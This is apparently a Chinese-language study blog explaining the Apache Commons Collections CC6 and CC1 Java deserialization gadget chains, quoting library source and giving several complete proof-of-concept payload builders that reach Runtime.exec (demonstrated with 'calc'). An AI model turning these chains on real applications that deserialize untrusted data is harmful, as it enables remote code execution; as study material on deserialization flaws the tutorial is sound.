CC6链

tips:cc6这条链是不受jdk版本限制的

cc6的入口换成了HashMapreadObject方法,这条链实际是要调用LazyMap的get方法,后面的部分就和ysoserial中的cc1后半链一样了

当时我们说URLDNS链中讲到了 HashMapreadObject方法,调用了hashCode方法,现在我们需要去找一个类,它的hashCode方法需要去调用LazyMapget方法

CC6攻击链分析

调用LazyMap.get

这里就是`TiedMapEntry`类(以下是该类的部分代码)

该类的hashCode方法调用了自身类的getValue方法,该方法中调用了map的get方法,该类的map和key参数都是可控的,map为LazyMap时,就会调用LazyMapget方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

public Object getValue() {
return map.get(key);
}

public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

剩下的部分都和cc1是相同的

1
2
3
4
5
6
7
8
9
10
11
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map1 = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map1, chainedTransformer);

现在我们需要一个构造TiedMapEntry类,由于它是public属性的,我们直接new就可以了

1
2
3
4
5
//其中将lazyMap放入他的map位置,因为上面说了,调用的是map的get方法
TiedMapEntry entry = new TiedMapEntry(lazyMap, 1)
//构造一个HashMap去存TiedMapEntry,调用key位置的hashcode方法
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(entry, 2);

下面我会给出链子相关的源码,来简单看一下这条链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// HashMap.readObject部分源码
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
// HashMap.hash源码
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
// TiedMapEntry.hashCode源码
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

构造的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map1 = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map1, chainedTransformer);

TiedMapEntry entry = new TiedMapEntry(lazyMap, 1);

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(entry, 2);

// serialize(map2);
unserialize("ser.bin");

}

最后调整

现在有一个问题就是,在put(entry,1)的时候,就已经触发了计算器

是因为在HashMap的put方法时,就已经触发了它的hash方法(部分代码rux)

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

我们现在回到URLDNS那个链的想法,先传入一个无用的东西,然后通过反射修改

1
2
3
4
5
6
7
// 前面将lazyMap中的一个值换为一个无用的值
Map<Object,Object> lazyMap = LazyMap.decorate(map1,new ConstantTransformer(1));
// 这里通过反射来修改回来
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

但是实际情况还是无法执行,我们跟进去看一下

这里实际上说,如果在map中没有这个key的话,就把他put进去,实际上确实是没有这个key的,所以它也确实put了一个东西进去

1
2
3
4
5
6
7
8
9
10
// 动态调试跟到这里
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

这里我们可以简单跟一下,在最后的LazyMap.get中put了一个键值对,这个key就是我们在构造TiedMapEntry时所传入的key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// CC6.java
map2.put(entry, "qwe");
// HashMap.put
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
// HashMap.hash
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
// LazyMap.get
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

这里也很简单,只需要把put进去lazyMap的remove掉不就好了吗(最终poc如下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map1 = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map1,new ConstantTransformer(1));

TiedMapEntry entry = new TiedMapEntry(lazyMap, "abc");

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(entry, "qwe");
lazyMap.remove("abc");

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);


serialize(map2);
unserialize("ser.bin");

}

CC1(ysoserial)

ysoserial中的cc1和我们前面所说后半部分是一样的,这里就不细说

在ysoserial中的cc1是用LazyMap替换了TransformedMap

现在使用LazyMapget方法去触发ChainedTransformertransform方法

CC1(ysoserial)攻击链分析

调用transform方法

下面为LazyMap的部分代码

我们来看LazyMapget方法

若map中存在这个key,就返回key,如果没有这个key,才会调用factorytransform方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
protected final Transformer factory;

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}


public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

LazyMapTransformedMap相类似,是一个protected属性的类,无法直接构造,因此我们需要去调用其decorate去构造一个LazyMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void main(String[] args) {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);


}

动态代理 调用get方法

调用get方法的地方很多,我们这里直接找到我们需要的`AnnotationInvocationHandler`中的`invoke`方法,其中`Object result = memberValues.get(member);`部分调用了 `get`方法,且member参数可控
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}

构造好LazyMap后,想要通过AnnotationInvocationHandler触发get方法,我们需要构造一个动态代理,因为想要调用invoke方法,需要用动态代理去调用任意一个方法,从而调用invoke方法里面的get方法

Proxy类继承了Serializable接口

1
2
3
4
5
6
7
8
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);

构造好动态代理后,需要去调用其任意方法

下面是invoke方法部分代码

代码表达的意思是想要走到get方法,就不能调用其equals方法,且调用的是一个无参方法才行,

1
2
3
4
5
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

有一个特别巧妙地地方,在AnnotationInvocationHandlerreadObject中,会有一个调用memberValues的entrySet方法,正好是一个不为equals的无参方法

1
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())

根据分析写出的整个poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);

// serialize(o);
unserialize("ser.bin");

}

版本修复

实际在jdk_8u71之后,AnnotationInvocationHandler类做了一些调整,直接去掉了readObject中的checkSetValue方法

而对动态代理类的序列化也有一定的调整,但是实际非常麻烦,这里我们就不说了

因此这两条链都断了

CC1链

前置基础

Java反序列化原理:

接受任意对象,执行readObject方法

  1. 若有一个A的readObject方法,调用了O1.method1方法,则我们可以修改这个O1
  2. 且在O1.method1方法中,调用了O2.method2方法,则我们可以修改这个O2
  3. ……
  4. 最后调用了危险方法(Runtime.getRuntime.exec())

最后调用危险方法有两种类型:

  1. 不同类的同名函数
  2. 任意方法调用(反射/动态加载恶意字节码)

注意:

A :可序列化

重写readObject

接受任意对象作为参数

On : 可序列化

集合类型/接受Object/接受Map

CC1攻击链分析

Transformer接口
1
2
3
4
5
public interface Transformer {

public Object transform(Object input);

}

Transformer是一个接口类,提供对象转换方法transform(接收对象,并对对象做出操作)

重要的实现方法有:ConstantTransformerinvokerTransformerChainedTransformerTransformedMap

危险方法

这里我们找到InvokerTransformer类,该类中存在一个反射调用任意类,可以作为链子的终点
1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

下面是该类的transform方法,用反射获取方法并invoke执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
  1. 使用InvokerTransformer中可执行任意方法,下面是反射调用
1
2
3
4
5
6
7
8
public static void main(String[] args) throws Exception {

Runtime rt = Runtime.getRuntime();
Class runtime = Runtime.class;
Method exec = runtime.getMethod("exec", String.class);
exec.invoke(rt,"calc");

}
  1. 现在使用InvokerTransformer来调用calc
1
2
3
4
5
6
public static void main(String[] args) throws Exception {

Runtime rt = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(rt);

}

调用transform方法

TransformedMap中的checkSetValue方法调用了valueTransformertransform方法

这里的valueTransformer在构造函数中初始化,但由于构造函数为protected属性,我们找到了本类中的decorate方法可以去构造一个TransformedMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

调用checkSetValue

查找用法,只有AbstractInputCheckedMapDecorator中的内部类MapEntrysetValue可以调用checkSetValue方法(AbstractInputCheckedMapDecorator他是TransformedMap的父类)

1
2
3
4
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}

通过遍历MapEntry,调用entry的setValue方法即可调用危险方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void main(String[] args) throws Exception {

Runtime rt = Runtime.getRuntime();
// Class runtime = Runtime.class;
// Method exec = runtime.getMethod("exec", String.class);
// exec.invoke(rt,"calc");

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("calc", "calc");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

for (Map.Entry entry:transformedMap.entrySet()) {
entry.setValue(rt);
}

}

这里我没有很是理解,借用别的师傅的笔记

MapEntry中的setValue方法其实就是Entry中的setValue方法,他这里重写了setValue方法。

TransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry,所以当遍历Map时,setValue方法也就执行了。

调用setValue

在该`AnnotationInvocationHandler`的`readObject`方法中,存在遍历Map并且调用`setValue`,所以该类可以作为我们的入口类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

但是AnnotationInvocationHandler并不是一个puclic类型的类,如果想要调用它的话,需要通过反射的方法来获取其构造函数进行实例化。

观察构造方法,第一个参数要传入一个注解类,第二个参数就要传入我们构造的恶意Map了

1
2
3
4
5
6
7
8
9
10
11
12
class AnnotationInvocationHandler implements InvocationHandler, Serializable 

// 构造函数
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
1
2
3
4
5
// 反射调用
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, transformedMap);

目前来说,不出意外的话,这个链子已经走完了,但是意外来的很快,我们发现其并没有成功执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static void main(String[] args) throws Exception {

Runtime rt = Runtime.getRuntime();
// Class runtime = Runtime.class;
// Method exec = runtime.getMethod("exec", String.class);
// exec.invoke(rt,"calc");

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("calc", "calc");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

// for (Map.Entry entry:transformedMap.entrySet()) {
// entry.setValue(rt);
// }
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, transformedMap);

serialize(o);
unserialize("ser.bin");


}

最后调整

这条链子没有走下来有几个原因

一)Runtime类没有继承序列化接口

1
public class Runtime

没有继承序列化接口就不能被序列化,但是我们可以通过反射来调用,我们先看看普通反射怎么写

1
2
3
4
5
Class c = Runtime.class
Method getRuntimeMethod = c.getMethod("getRuntime",null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(r,"calc");

现在我们来把他改成一个InvokerTransformer的形式,但是如此来说就有点繁琐了,需要一直调用transform。

记得有一个ChainedTransformer类,传入一个transform数组,进行递归调用(前一个transform的返回值作为后一个transform的参数)

1
2
3
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);

这里是ChainedTransformer类的部分源码

1
2
3
4
5
6
7
8
9
10
11
12
13
// ChainedTransformer

private ChainedTransformer(final boolean clone, final Transformer<? super T, ? extends T>[] transformers) {
super();
iTransformers = clone ? FunctorUtils.copy(transformers) : transformers;
}

public T transform(T object) {
for (final Transformer<? super T, ? extends T> iTransformer : iTransformers) {
object = iTransformer.transform(object);
}
return object;
}

根据ChainedTransformer修改后,可成功执行

1
2
3
4
5
6
7
8
9
10
11
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}

二)中间由于存在if判断,并没有进入到if中

通过动态调试,发现在readObject方法中if判断时,memberType为空,而没有进入到if中

这里的name是get到我们之前Map中put进去键值对的key,然后去检查这个注解类中有没有这个key名字的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

因此我们修改一下,在Target注解中存在一个value的参数,在Target注解中存在value名字的参数,只需要把put进去的key改为value,将Overide注解的类换为Target注解类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, transformedMap);

serialize(o);
unserialize("ser.bin");
}

这里可以看到已经memberType已经不为NULL

三)readObject调用的setValue的参数值是固定的

我们的本意是将setValue中的值改为Runtime.class,但是实际上我们无法修改其中的值,若我们可以控制,这条链就成功走通了
1
2
3
4
5
6
7
8
9
10
if (memberType != null) {  // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}

还有一个比较重要的类ConstantTransformer,下面为ConstantTransformer的构造函数和transform方法,构造时传入的参数设为一个常量值,后续调用他的transform方法,无论传入什么值,都会返回这个常量,如果我们在构造时传入 Runtime.class呢

1
2
3
4
5
6
7
8
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant;
}

现在只需要在Transformers的首位传入ConstantTransformer类,传入参数为Runtime的类,最后就能成功执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, transformedMap);

serialize(o);
unserialize("ser.bin");


}

大概的链子如下:

0%